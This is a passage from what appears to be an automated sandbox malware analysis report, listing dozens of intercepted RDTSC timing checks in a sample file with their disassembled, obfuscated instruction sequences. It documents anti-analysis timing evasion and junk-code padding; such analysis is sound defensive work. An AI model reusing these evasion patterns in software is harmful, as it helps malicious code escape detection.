0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736AC0 second address: 736AC6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 737AC2 second address: 737AC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736CFA second address: 736CFE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 736CFE second address: 736D24 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4C26357h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop esi 0x0000000a push eax 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e jne 00007FD3C4C26346h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738D2E second address: 738D60 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD3C4DD8D68h 0x00000008 push edi 0x00000009 pop edi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push eax 0x0000000d pushad 0x0000000e jmp 00007FD3C4DD8D6Ah 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FD3C4DD8D78h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 738D60 second address: 738D64 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73BE45 second address: 73BEBD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4DD8D73h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jmp 00007FD3C4DD8D6Ch 0x0000000e popad 0x0000000f nop 0x00000010 mov ebx, dword ptr [ebp+12477564h] 0x00000016 push 00000000h 0x00000018 mov edi, dword ptr [ebp+122D184Fh] 0x0000001e push 00000000h 0x00000020 push 00000000h 0x00000022 push edi 0x00000023 call 00007FD3C4DD8D68h 0x00000028 pop edi 0x00000029 mov dword ptr [esp+04h], edi 0x0000002d add dword ptr [esp+04h], 0000001Ch 0x00000035 inc edi 0x00000036 push edi 0x00000037 ret 0x00000038 pop edi 0x00000039 ret 0x0000003a xor ebx, dword ptr [ebp+122D3AA4h] 0x00000040 jg 00007FD3C4DD8D67h 0x00000046 push eax 0x00000047 pushad 0x00000048 push eax 0x00000049 push edx 0x0000004a jmp 00007FD3C4DD8D6Eh 0x0000004f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73DF6F second address: 73DF8B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4C26353h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a pushad 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 739E26 second address: 739ED2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 jmp 00007FD3C4DD8D6Dh 0x0000000a popad 0x0000000b nop 0x0000000c jmp 00007FD3C4DD8D76h 0x00000011 push dword ptr fs:[00000000h] 0x00000018 push 00000000h 0x0000001a push ebp 0x0000001b call 00007FD3C4DD8D68h 0x00000020 pop ebp 0x00000021 mov dword ptr [esp+04h], ebp 0x00000025 add dword ptr [esp+04h], 00000014h 0x0000002d inc ebp 0x0000002e push ebp 0x0000002f ret 0x00000030 pop ebp 0x00000031 ret 0x00000032 mov ebx, dword ptr [ebp+122D18C6h] 0x00000038 mov dword ptr fs:[00000000h], esp 0x0000003f mov ebx, dword ptr [ebp+122D24AFh] 0x00000045 mov bh, 76h 0x00000047 mov eax, dword ptr [ebp+122D1381h] 0x0000004d push 00000000h 0x0000004f push edi 0x00000050 call 00007FD3C4DD8D68h 0x00000055 pop edi 0x00000056 mov dword ptr [esp+04h], edi 0x0000005a add dword ptr [esp+04h], 00000019h 0x00000062 inc edi 0x00000063 push edi 0x00000064 ret 0x00000065 pop edi 0x00000066 ret 0x00000067 jmp 00007FD3C4DD8D70h 0x0000006c push FFFFFFFFh 0x0000006e mov ebx, eax 0x00000070 nop 0x00000071 jc 00007FD3C4DD8D78h 0x00000077 push eax 0x00000078 push edx 0x00000079 jne 00007FD3C4DD8D66h 0x0000007f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740123 second address: 740137 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD3C4C2634Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740137 second address: 740141 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jnc 00007FD3C4DD8D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73F287 second address: 73F28E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 740141 second address: 740145 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74110A second address: 74111A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 push eax 0x00000007 pushad 0x00000008 js 00007FD3C4C2634Ch 0x0000000e push eax 0x0000000f push edx 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E9635 second address: 6E963B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E963B second address: 6E963F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E963F second address: 6E9643 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FF71 second address: 74FFA8 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD3C4C26346h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov eax, dword ptr [eax] 0x0000000d jmp 00007FD3C4C26357h 0x00000012 mov dword ptr [esp+04h], eax 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD3C4C2634Bh 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 74FFA8 second address: 74FFAE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pop edi 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75007B second address: 7500AF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jns 00007FD3C4C26346h 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push eax 0x0000000f jmp 00007FD3C4C26354h 0x00000014 mov eax, dword ptr [esp+04h] 0x00000018 pushad 0x00000019 jl 00007FD3C4C26348h 0x0000001f pushad 0x00000020 popad 0x00000021 push eax 0x00000022 push edx 0x00000023 push eax 0x00000024 pop eax 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7500AF second address: 7500CE instructions: 0x00000000 rdtsc 0x00000002 js 00007FD3C4DD8D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a popad 0x0000000b mov eax, dword ptr [eax] 0x0000000d je 00007FD3C4DD8D6Ah 0x00000013 push ecx 0x00000014 pushad 0x00000015 popad 0x00000016 pop ecx 0x00000017 mov dword ptr [esp+04h], eax 0x0000001b pushad 0x0000001c push ecx 0x0000001d push eax 0x0000001e push edx 0x0000001f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756A0A second address: 756A1F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jp 00007FD3C4C26346h 0x0000000a jmp 00007FD3C4C2634Bh 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756CD5 second address: 756CDD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push ebx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756CDD second address: 756CFA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 push eax 0x00000006 push edx 0x00000007 jmp 00007FD3C4C26350h 0x0000000c jnl 00007FD3C4C26346h 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 756FB6 second address: 756FE3 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4DD8D71h 0x00000007 jmp 00007FD3C4DD8D78h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7572B0 second address: 7572B4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C857 second address: 75C85F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push ecx 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75B607 second address: 75B623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4C26358h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C09F second address: 75C0A4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C0A4 second address: 75C0A9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C0A9 second address: 75C0E7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jbe 00007FD3C4DD8D66h 0x0000000a jmp 00007FD3C4DD8D75h 0x0000000f popad 0x00000010 pop edx 0x00000011 pop eax 0x00000012 push eax 0x00000013 push edx 0x00000014 push eax 0x00000015 push edx 0x00000016 jmp 00007FD3C4DD8D78h 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C0E7 second address: 75C10A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C4C26354h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pushad 0x0000000a push eax 0x0000000b pop eax 0x0000000c jnl 00007FD3C4C26346h 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C10A second address: 75C110 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C110 second address: 75C115 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C572 second address: 75C577 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 75C577 second address: 75C58F instructions: 0x00000000 rdtsc 0x00000002 jnp 00007FD3C4C2634Eh 0x00000008 jns 00007FD3C4C26346h 0x0000000e push esi 0x0000000f pop esi 0x00000010 jc 00007FD3C4C2634Ch 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7622FB second address: 762303 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762303 second address: 762309 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762309 second address: 76231A instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 jg 00007FD3C4DD8D66h 0x0000000d pushad 0x0000000e popad 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76231A second address: 762345 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push edx 0x00000008 jmp 00007FD3C4C2634Eh 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FD3C4C26353h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762345 second address: 762349 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76127E second address: 76129B instructions: 0x00000000 rdtsc 0x00000002 jns 00007FD3C4C26346h 0x00000008 push esi 0x00000009 pop esi 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push edi 0x0000000d jmp 00007FD3C4C2634Fh 0x00000012 pop edi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76129B second address: 7612A5 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD3C4DD8D66h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7612A5 second address: 7612AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 76154F second address: 761553 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761553 second address: 7615A5 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jno 00007FD3C4C26346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c jp 00007FD3C4C2634Ch 0x00000012 jmp 00007FD3C4C26355h 0x00000017 popad 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD3C4C26353h 0x0000001f jmp 00007FD3C4C2634Fh 0x00000024 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7615A5 second address: 7615AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7616F5 second address: 7616F9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7616F9 second address: 761712 instructions: 0x00000000 rdtsc 0x00000002 js 00007FD3C4DD8D66h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push esi 0x0000000b pushad 0x0000000c popad 0x0000000d pushad 0x0000000e popad 0x0000000f pop esi 0x00000010 push edi 0x00000011 push eax 0x00000012 push edx 0x00000013 ja 00007FD3C4DD8D66h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761977 second address: 761998 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 popad 0x00000007 pushad 0x00000008 jmp 00007FD3C4C26350h 0x0000000d jne 00007FD3C4C26346h 0x00000013 pushad 0x00000014 popad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761AD1 second address: 761AD7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761AD7 second address: 761B25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jbe 00007FD3C4C26346h 0x0000000a pop edx 0x0000000b pop eax 0x0000000c push esi 0x0000000d pushad 0x0000000e jmp 00007FD3C4C26352h 0x00000013 jmp 00007FD3C4C26352h 0x00000018 jmp 00007FD3C4C26357h 0x0000001d popad 0x0000001e push eax 0x0000001f push edx 0x00000020 push eax 0x00000021 push edx 0x00000022 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761B25 second address: 761B3D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C4DD8D74h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761B3D second address: 761B41 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 761C8B second address: 761C93 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pushad 0x00000007 popad 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7620F3 second address: 7620F7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7620F7 second address: 762114 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224499h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762114 second address: 762123 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push esi 0x00000007 jc 00007FD3C500B9D6h 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762123 second address: 762156 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pop edi 0x00000006 pushad 0x00000007 jns 00007FD3C522449Ah 0x0000000d push eax 0x0000000e push edx 0x0000000f push edx 0x00000010 pop edx 0x00000011 jmp 00007FD3C522448Eh 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 762156 second address: 762196 instructions: 0x00000000 rdtsc 0x00000002 jno 00007FD3C500B9D6h 0x00000008 pushad 0x00000009 popad 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d jmp 00007FD3C500B9DCh 0x00000012 pushad 0x00000013 popad 0x00000014 ja 00007FD3C500B9D6h 0x0000001a pushad 0x0000001b popad 0x0000001c popad 0x0000001d pushad 0x0000001e jmp 00007FD3C500B9E9h 0x00000023 push eax 0x00000024 push edx 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7609C9 second address: 7609F4 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FD3C52244A5h 0x00000008 push eax 0x00000009 push edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7609F4 second address: 7609F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7609F8 second address: 760A08 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c push eax 0x0000000d push edx 0x0000000e push edi 0x0000000f pop edi 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760A08 second address: 760A25 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push ebx 0x00000009 pop ebx 0x0000000a jmp 00007FD3C500B9E3h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760A25 second address: 760A3F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 pop eax 0x00000004 jmp 00007FD3C5224494h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 760A3F second address: 760A47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push esi 0x00000007 pop esi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7653C5 second address: 7653C9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7653C9 second address: 7653CD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7653CD second address: 765406 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FD3C5224491h 0x0000000b popad 0x0000000c jo 00007FD3C52244A6h 0x00000012 jmp 00007FD3C5224496h 0x00000017 pushad 0x00000018 push eax 0x00000019 pop eax 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2B24 second address: 6E2B38 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FD3C500B9E0h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2B38 second address: 6E2B45 instructions: 0x00000000 rdtsc 0x00000002 jng 00007FD3C5224486h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 6E2B45 second address: 6E2B61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 ja 00007FD3C500B9D6h 0x0000000c popad 0x0000000d pop esi 0x0000000e jc 00007FD3C500B9E8h 0x00000014 push eax 0x00000015 push edx 0x00000016 jns 00007FD3C500B9D6h 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769BC1 second address: 769BCA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pushad 0x00000004 popad 0x00000005 pop esi 0x00000006 push eax 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 769BCA second address: 769C22 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop eax 0x00000005 pop edx 0x00000006 pop eax 0x00000007 pushad 0x00000008 js 00007FD3C500B9EEh 0x0000000e jmp 00007FD3C500B9E6h 0x00000013 push ecx 0x00000014 pop ecx 0x00000015 jmp 00007FD3C500B9DAh 0x0000001a jmp 00007FD3C500B9DCh 0x0000001f push eax 0x00000020 push edx 0x00000021 jmp 00007FD3C500B9E8h 0x00000026 pushad 0x00000027 popad 0x00000028 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7688D6 second address: 7688F2 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push edi 0x00000006 jmp 00007FD3C5224494h 0x0000000b push eax 0x0000000c push edx 0x0000000d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FA8D second address: 72FA97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 ja 00007FD3C500B9D6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 72FA97 second address: 70F239 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD3C5224493h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], eax 0x0000000e push 00000000h 0x00000010 push esi 0x00000011 call 00007FD3C5224488h 0x00000016 pop esi 0x00000017 mov dword ptr [esp+04h], esi 0x0000001b add dword ptr [esp+04h], 00000018h 0x00000023 inc esi 0x00000024 push esi 0x00000025 ret 0x00000026 pop esi 0x00000027 ret 0x00000028 push eax 0x00000029 mov dh, 51h 0x0000002b pop edi 0x0000002c call dword ptr [ebp+122D1D22h] 0x00000032 pushad 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007FD3C5224490h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73002A second address: 730034 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push esi 0x00000009 pop esi 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730034 second address: 730038 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301BE second address: 7301C4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301C4 second address: 7301C8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301C8 second address: 7301DF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 js 00007FD3C500B9E2h 0x0000000f jbe 00007FD3C500B9DCh 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 7301DF second address: 730215 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 xchg eax, esi 0x00000005 push 00000000h 0x00000007 push ebx 0x00000008 call 00007FD3C5224488h 0x0000000d pop ebx 0x0000000e mov dword ptr [esp+04h], ebx 0x00000012 add dword ptr [esp+04h], 00000014h 0x0000001a inc ebx 0x0000001b push ebx 0x0000001c ret 0x0000001d pop ebx 0x0000001e ret 0x0000001f add edi, 5BC1C840h 0x00000025 push eax 0x00000026 push eax 0x00000027 push edx 0x00000028 push eax 0x00000029 push edx 0x0000002a jmp 00007FD3C522448Ah 0x0000002f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730215 second address: 73021B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 73021B second address: 730232 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FD3C5224492h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 730A65 second address: 730A6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push esi 0x00000005 pop esi 0x00000006 popad 0x00000007 rdtsc
